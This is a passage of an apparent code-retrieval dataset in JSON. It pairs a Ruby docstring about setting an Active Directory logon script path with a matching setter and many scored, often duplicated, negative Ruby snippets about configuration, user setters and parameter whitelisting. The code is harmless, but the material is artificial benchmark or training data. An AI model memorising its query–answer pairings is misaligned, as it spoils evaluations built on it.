"score": "0.6504111",
"text": "def configure\n self.config ||= Configuration.new\n yield(config)\n end",
"title": ""
},
{
"docid": "310b3d6179fedb706eec759966dbf000",
"score": "0.6500896",
"text": "def config\n @config ||= Configuration.new\n end",
"title": ""
},
{
"docid": "310b3d6179fedb706eec759966dbf000",
"score": "0.6500896",
"text": "def config\n @config ||= Configuration.new\n end",
"title": ""
},
{
"docid": "310b3d6179fedb706eec759966dbf000",
"score": "0.6500896",
"text": "def config\n @config ||= Configuration.new\n end",
"title": ""
},
{
"docid": "310b3d6179fedb706eec759966dbf000",
"score": "0.6500896",
"text": "def config\n @config ||= Configuration.new\n end",
"title": ""
},
{
"docid": "310b3d6179fedb706eec759966dbf000",
"score": "0.6500896",
"text": "def config\n @config ||= Configuration.new\n end",
"title": ""
},
{
"docid": "310b3d6179fedb706eec759966dbf000",
"score": "0.6500896",
"text": "def config\n @config ||= Configuration.new\n end",
"title": ""
},
{
"docid": "dce41216ba190b78f32b8a8a23e59604",
"score": "0.64970285",
"text": "def configure\n @config ||= Config.new\n yield @config if block_given?\n @config\n end",
"title": ""
},
{
"docid": "5ac723b2e4c64112f5ae53a64ad2110e",
"score": "0.6492803",
"text": "def configure\n load_defaults\n yield self\n true\n end",
"title": ""
},
{
"docid": "cdf05204918c9c644bd0e375ad02ffe2",
"score": "0.6489005",
"text": "def pre_configure\n load_defaults!\n end",
"title": ""
},
{
"docid": "e144c55fb8680de35acf575932b5572e",
"score": "0.6488377",
"text": "def configurations; end",
"title": ""
},
{
"docid": "c457b21da713fed6da69f37062eec47d",
"score": "0.648201",
"text": "def config\n self.configuration ||= Configuration.new\n block_given? ? yield(self.configuration) : self.configuration\n end",
"title": ""
},
{
"docid": "845e36246d1c4b4783b233250fd9e6d2",
"score": "0.6476355",
"text": "def config\n @@config ||= Config.new\n end",
"title": ""
},
{
"docid": "a33aebd82ee63e14125a21c1235c53a8",
"score": "0.64743096",
"text": "def instance\n @config || configure('unknown')\n end",
"title": ""
},
{
"docid": "1c52d5339d0192d09868df9049c23b8b",
"score": "0.6470267",
"text": "def configuration\n return @configuration ||= default_configuration\n end",
"title": ""
},
{
"docid": "89100f827dc3ab84f53ff39f32cdd5ce",
"score": "0.6466143",
"text": "def config \n Configuration.instance\n end",
"title": ""
},
{
"docid": "3d9b70583a1304bcc12423b1a4ac643f",
"score": "0.64602536",
"text": "def config\n return @config if @config\n @config = YAML.load_file(File.expand_path(File.join(File.dirname(__FILE__), 'config.yml'))).symbolize_keys\n @config[:database].symbolize_keys!\n @config\nend",
"title": ""
},
{
"docid": "1d3d9cd710b5ad4e4df5223ecfec32e8",
"score": "0.64593095",
"text": "def load_config\n self.datastore.from_file(Msf::Config.config_file, 'framework/core')\n end",
"title": ""
},
{
"docid": "5933b8713c876f07aadc497e6cb646e0",
"score": "0.64526093",
"text": "def config\n @config ||= Config.new\n end",
"title": ""
},
{
"docid": "753dfc0c263150e05d98024a65633e56",
"score": "0.6452567",
"text": "def configure\n self.config ||= Config.new\n yield(config)\n end",
"title": ""
},
{
"docid": "fd219f214000d6511241dd37243901da",
"score": "0.6448026",
"text": "def config\n @config ||= update_config\n end",
"title": ""
},
{
"docid": "4a7ebf83adb1f8ed9aa667b04d73e178",
"score": "0.6439112",
"text": "def initialize(*args)\n initialize_config unless instance_variable_defined?(:@config)\n super\n end",
"title": ""
},
{
"docid": "50daba834d6e102f0a856d09f40d067f",
"score": "0.64386994",
"text": "def load_config\n return @_config if @_config\n file = File.new(File.join(Rails.root,'config','config.json'))\n @_config = Yajl::Parser.parse(file.read, :symbolize_keys => true)[Rails.env.to_sym]\n end",
"title": ""
},
{
"docid": "a6a91392034e236c882836544406e111",
"score": "0.6437801",
"text": "def initialize\n ensure_cache_exists\n load_settings\n end",
"title": ""
},
{
"docid": "d3eb93664245b7511d8935fe06563f4c",
"score": "0.643395",
"text": "def load_configuration_file\n Brandish.configuration || load_configuration_file!\n end",
"title": ""
},
{
"docid": "0d001ee664b2d295190f88cfa107a913",
"score": "0.6432213",
"text": "def config\n @config ||= Configuration.load_from(config_path)\n end",
"title": ""
},
{
"docid": "0d001ee664b2d295190f88cfa107a913",
"score": "0.6432213",
"text": "def config\n @config ||= Configuration.load_from(config_path)\n end",
"title": ""
},
{
"docid": "dc0f662ee4cedd890d4d4d4b3daf97d7",
"score": "0.64251643",
"text": "def configured?; false; end",
"title": ""
},
{
"docid": "dc0f662ee4cedd890d4d4d4b3daf97d7",
"score": "0.64251643",
"text": "def configured?; false; end",
"title": ""
},
{
"docid": "966959a61fe16065c4dcc4a9a90e2d4a",
"score": "0.64234805",
"text": "def configure(&block)\n self.shared_config ||= Configuration.new\n shared_config.instance_eval &block\n end",
"title": ""
},
{
"docid": "b68708abf20e87f59a1438b85e5447f0",
"score": "0.6420165",
"text": "def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"title": ""
},
{
"docid": "b68708abf20e87f59a1438b85e5447f0",
"score": "0.6420165",
"text": "def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"title": ""
},
{
"docid": "6b6bdc443ed3c72a8871c786ead6c2ce",
"score": "0.6418751",
"text": "def configure\n yield Config\n end",
"title": ""
},
{
"docid": "6b6bdc443ed3c72a8871c786ead6c2ce",
"score": "0.6418751",
"text": "def configure\n yield Config\n end",
"title": ""
},
{
"docid": "6b6bdc443ed3c72a8871c786ead6c2ce",
"score": "0.6418751",
"text": "def configure\n yield Config\n end",
"title": ""
},
{
"docid": "7a56f7ac1ea30ee4aee9e3ea0497c029",
"score": "0.64148515",
"text": "def config\n\t\t\t@config ||= load_hash 'friendly_rent.yml'\n\t\tend",
"title": ""
},
{
"docid": "5ca9ee74918828a53891f308419f55a4",
"score": "0.6405778",
"text": "def config\n configuration\n end",
"title": ""
},
{
"docid": "5ca9ee74918828a53891f308419f55a4",
"score": "0.6405778",
"text": "def config\n configuration\n end",
"title": ""
},
{
"docid": "39337918bc9e21a4480d5c97f6f7b3ac",
"score": "0.6404105",
"text": "def configuration\n @_configuration ||= Configuration.new\n end",
"title": ""
}
] |
9b28ff7fd59135603e0ae3ce3b44908f | Set the User or UNIXUser logon script path. This corresponds to the LDAP scriptPath attribute and is the "Logon script" setting in the Profile tab of the Active Directory Users and Computers tool. === Parameter Types script_path [String] | [
{
"docid": "1bf65cb028672a7074dbdebf0010309d",
"score": "0.614726",
"text": "def script_path=(script_path)\n @script_path = script_path\n @modified = true\n end",
"title": ""
}
] | [
{
"docid": "1d168187aae9631442a39fe425541b3e",
"score": "0.62755096",
"text": "def set_script_path path\n script_processor.set_path path\n end",
"title": ""
},
{
"docid": "2ce75169c1fc7274ee70d1446bd49a5c",
"score": "0.5569717",
"text": "def user_script_directory\n config_directory + FileSep + \"scripts\"\n end",
"title": ""
},
{
"docid": "56ac6af16f415a873339336cb1fdfb71",
"score": "0.50608325",
"text": "def set_script\n @script = Script.find(params[:script_id])\n end",
"title": ""
},
{
"docid": "0f7dee24c0a4f6b310266928b2ab7ce0",
"score": "0.50280976",
"text": "def script_alias_path(path)\n end",
"title": ""
},
{
"docid": "f5ab181367955e4fa1c87c994e91438a",
"score": "0.49791044",
"text": "def custom_script=(value)\n @custom_script = value\n end",
"title": ""
},
{
"docid": "7d1a70217f82bc4808a7c05bb503d0ef",
"score": "0.4938252",
"text": "def script=(script)\n script = script&.strip\n raise ArgumentError, 'No source script given' if script.empty?\n\n @sha1 = nil\n @script = script.dup.freeze\n end",
"title": ""
},
{
"docid": "dd92fdbbc51d278ceff03cfe08009c39",
"score": "0.48500004",
"text": "def add_domain_logon(config)\n\tconfig.append('domain logons', 'yes')\n\n\t# If we are doing user logons, autocreate a home directory.\n\tconfig.append_section(SmbConfigFile::HOMES, \n\t\t 'root preexec', '/usr/sbin/inituser %U')\n\tconfig.append('logon drive', 'H:')\n\tconfig.append('logon path', '\\\\%N\\profiles%u')\n\n\t# Add a [netlogon] share.\n\tconfig.append_section(SmbConfigFile::NETLOGON, 'path', '/etc/netlogon')\n\tconfig.append_section(SmbConfigFile::NETLOGON, 'browseable', 'no')\n\tconfig.append_section(SmbConfigFile::NETLOGON, 'write list', '@admin')\n\tconfig.append_section(SmbConfigFile::NETLOGON, 'oplocks', 'yes')\n\tconfig.append_section(SmbConfigFile::NETLOGON, 'strict locking', 'no')\n\n\t# Add a [profiles] share.\n\tconfig.append_section(SmbConfigFile::PROFILES,\n\t\t'path', '/Users/Profiles')\n\tconfig.append_section(SmbConfigFile::NETLOGON, 'browseable', 'no')\n\tconfig.append_section(SmbConfigFile::NETLOGON, 'read only', 'no')\n\tconfig.append_section(SmbConfigFile::NETLOGON, 'oplocks', 'yes')\n\tconfig.append_section(SmbConfigFile::NETLOGON, 'strict locking', 'no')\n end",
"title": ""
},
{
"docid": "05866f19dc71aa9bbf4b7d8a3dba2559",
"score": "0.48026374",
"text": "def generate_script_path\n usr = User.new\n if(usr.is_a?(WinUser) && !usr.is_a?(CygwinUser))\n return File.join(class_name, 'script', \"generate.rb\")\n else\n return File.join(class_name, 'script', \"generate\")\n end\n end",
"title": ""
},
{
"docid": "a9410a09d65abce1b7f19aad8b432edf",
"score": "0.4801312",
"text": "def set_TargetUser(value)\n set_input(\"TargetUser\", value)\n end",
"title": ""
},
{
"docid": "a9410a09d65abce1b7f19aad8b432edf",
"score": "0.4801312",
"text": "def set_TargetUser(value)\n set_input(\"TargetUser\", value)\n end",
"title": ""
},
{
"docid": "86d094d926c016755e2ba10d2be4213b",
"score": "0.47945967",
"text": "def script_path\n @script_path\n end",
"title": ""
},
{
"docid": "465f8a613e0e3eaee637fd546e533c1e",
"score": "0.47749472",
"text": "def script_alias_path(path)\n if (@script_alias_paths == nil)\n read_http_config\n end\n @script_alias_paths.each do |x|\n if (x[0] == path)\n return x[1]\n end\n end\n return nil\n end",
"title": ""
},
{
"docid": "08ce7aeb156e2ee24781eb107b45cb1d",
"score": "0.4764049",
"text": "def update!(**args)\n @script_path = args[:script_path] if args.key?(:script_path)\n end",
"title": ""
},
{
"docid": "08ce7aeb156e2ee24781eb107b45cb1d",
"score": "0.4764049",
"text": "def update!(**args)\n @script_path = args[:script_path] if args.key?(:script_path)\n end",
"title": ""
},
{
"docid": "fce83970e309fde71f7a6f4d20a25640",
"score": "0.47556436",
"text": "def script_type(script_type)\n\t\t\t\t@script_type = script_type\n\t\t\tend",
"title": ""
},
{
"docid": "fce83970e309fde71f7a6f4d20a25640",
"score": "0.47556436",
"text": "def script_type(script_type)\n\t\t\t\t@script_type = script_type\n\t\t\tend",
"title": ""
},
{
"docid": "04ef412720fc1dac92c752eb3b035fcd",
"score": "0.47406167",
"text": "def script(path=nil)\n if path\n script + path\n else\n @script ||= root + 'script'\n end\n end",
"title": ""
},
{
"docid": "fd07e2142345527c44f358bf60f99b2c",
"score": "0.47379893",
"text": "def set_script\n @script = Script.find(params[:script_id])\n end",
"title": ""
},
{
"docid": "1426262d808768f773391fd3291f839f",
"score": "0.4710815",
"text": "def set_script\n @script = Script.find(params[:id])\n end",
"title": ""
},
{
"docid": "1426262d808768f773391fd3291f839f",
"score": "0.4710815",
"text": "def set_script\n @script = Script.find(params[:id])\n end",
"title": ""
},
{
"docid": "1426262d808768f773391fd3291f839f",
"score": "0.4710815",
"text": "def set_script\n @script = Script.find(params[:id])\n end",
"title": ""
},
{
"docid": "7a20b77c55b20a3a599e3738aa5f556e",
"score": "0.47033882",
"text": "def cmd_shellegram_set_user(*args)\r\n\t\t\t\tif args.length > 0\r\n\t\t\t\t\tprint_status(\"Setting the user to #{args[0]}\")\r\n\t\t\t\t\t@user = args[0]\r\n\t\t\t\telse\r\n\t\t\t\t\tprint_error(\"Please provide a value\")\r\n\t\t\t\tend\r\n\t\t\tend",
"title": ""
},
{
"docid": "7f818a68416b20ab677b5680e77fa30f",
"score": "0.4697439",
"text": "def script_path\n script_file_name = \"#{ADMIN_PATH}/#{@flowcell_id}.sh\"\n end",
"title": ""
},
{
"docid": "cd547e44d7dc5c8d190687a98a273dcc",
"score": "0.4681394",
"text": "def set_login(username)\n user_id = username\n end",
"title": ""
},
{
"docid": "fae9df888c858c23256d09d84fe2decf",
"score": "0.46310234",
"text": "def script_alias_path(path)\n \t@config_map[\"ScriptAlias\"].each do |k,v|\n \t\tif path==\"#{k}\"\n \t\t return v[0]\n \t\tend\n \tend\n \treturn nil\n end",
"title": ""
},
{
"docid": "dfe7cc6ec03fcd14ab2337bdb951d71b",
"score": "0.46025577",
"text": "def config_user(username)\n @defaults.add('default_rhlogin', username)\n end",
"title": ""
},
{
"docid": "44b088551d7154df77f9d2925a61e212",
"score": "0.46023858",
"text": "def script=(val)\n @script = val\n clear\n end",
"title": ""
},
{
"docid": "908f62ae49b7fa787c6e32c2f38a92e7",
"score": "0.4574956",
"text": "def set_script_option\n @script_option = ScriptOption.find(params[:id])\n end",
"title": ""
},
{
"docid": "46641a9cfa06e377595c2846f6998461",
"score": "0.45656604",
"text": "def set_RightScriptID(value)\n set_input(\"RightScriptID\", value)\n end",
"title": ""
},
{
"docid": "350cdbe21e6f51b254365b2a36e5f8aa",
"score": "0.45622584",
"text": "def set_script\r\n @script = Script.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "4046d1afeebbc58e8fe9fa6b5d29c5b5",
"score": "0.45433462",
"text": "def script_alias(uri, path)\n directory? path\n self << %{ScriptAlias #{[ uri, path ].quoteize * ' '}}\n end",
"title": ""
},
{
"docid": "4f0bb461b7d132ea38bd329f696e28ac",
"score": "0.45336965",
"text": "def set_script\n @script = Script.get_from_cache(params[:script_id]) if params[:script_id]\n end",
"title": ""
},
{
"docid": "9f3e5878c1c6defeafcab72524a4b2d9",
"score": "0.45317703",
"text": "def user_set_nfs_home_directory(attribs, dir_info)\n attribs = user_record_name_alternatives(attribs)\n\n attribs[:value] = attribs[:value] || attribs[:home_directory]\n attribs[:value] = attribs[:value] || attribs[:nfs_home_directory]\n attribs[:value] = attribs[:value] || '/Volumes/Macintosh HD/Users/someone'\n\n check_critical_attribute( attribs, :record_name )\n check_critical_attribute( attribs, :value, :home_directory )\n attribs = tidy_attribs(attribs)\n\n command = {action: 'create', scope: 'Users', attribute: 'NFSHomeDirectory'}\n user_attrs = attribs.merge(command)\n\n answer = dscl( user_attrs, dir_info )\n attribs[:value] = nil\n return answer\n end",
"title": ""
},
{
"docid": "4f0bb461b7d132ea38bd329f696e28ac",
"score": "0.45313957",
"text": "def set_script\n @script = Script.get_from_cache(params[:script_id]) if params[:script_id]\n end",
"title": ""
},
{
"docid": "bcf14e7d93a678618d3108412959955f",
"score": "0.45077375",
"text": "def set_user_to(username)\n close_sessions\n set :user, username\n set(:password) {Capistrano::CLI.password_prompt(\"#{username.capitalize}'s Password: \")}\n set(:user_home) { user == \"root\" ? \"/root\" : \"/home/#{username}\" }\n end",
"title": ""
},
{
"docid": "cbdfd52337188e9866ae5a18cec76dca",
"score": "0.45031545",
"text": "def replace_user_path(path, name=nil)\n name ||= \"$HOME/#{path}\"\n self.replace_path %r[/Users/.*/#{path.to_s}], name\n end",
"title": ""
},
{
"docid": "25d04f1cdbf1e441ae48c9b39ed6fe85",
"score": "0.4492178",
"text": "def set_login\n self.login = self.username\n end",
"title": ""
},
{
"docid": "4cb94f573212f1473ae9a231e7c34527",
"score": "0.44860852",
"text": "def set_UploadSourceUsername(value)\n set_input(\"UploadSourceUsername\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "e6e02705967a90d2ff4259c130544e43",
"score": "0.4483329",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "474b6febb9fc77879f63392acfe668a8",
"score": "0.44751504",
"text": "def script_directory\n install_root + FileSep + self['ScriptDirectory']\n end",
"title": ""
},
{
"docid": "300be50fb3204741cedeb551026665cc",
"score": "0.44686538",
"text": "def logon_location=(value)\n @logon_location = value\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.4466278",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.4466278",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.4466278",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.4466278",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.4466278",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.4466278",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.4466278",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.4466278",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.4466278",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.4466278",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
},
{
"docid": "25b8f1a141b8d535f6039b44ed5bdea1",
"score": "0.44660255",
"text": "def set_User(value)\n set_input(\"User\", value)\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "9c59ceb0369f9398037ebebcfce66d37",
"score": "0.0",
"text": "def how_params\n params.require(:how).permit(:title, :description, :howcover, :videourl, :minutes, :hints_and_tips, :slug, \n :subtitle, :subtitle1, :subtitle2, :subtitle3, :howcategory_id, :subbody1, :subbody2, \n :references, :created_at, :hours, :days, :updated_at, :ingredients, :tag_list, :tag, { tag_ids: [] }, :tag_ids, )\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7493595",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.6954758",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69205236",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.6891565",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.6783412",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.6741766",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.66818774",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6634386",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.6627996",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.6624317",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.6561549",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.648986",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.64755446",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.6452771",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.639812",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.6379535",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63622755",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.63365924",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.63347775",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.63249147",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.63191724",
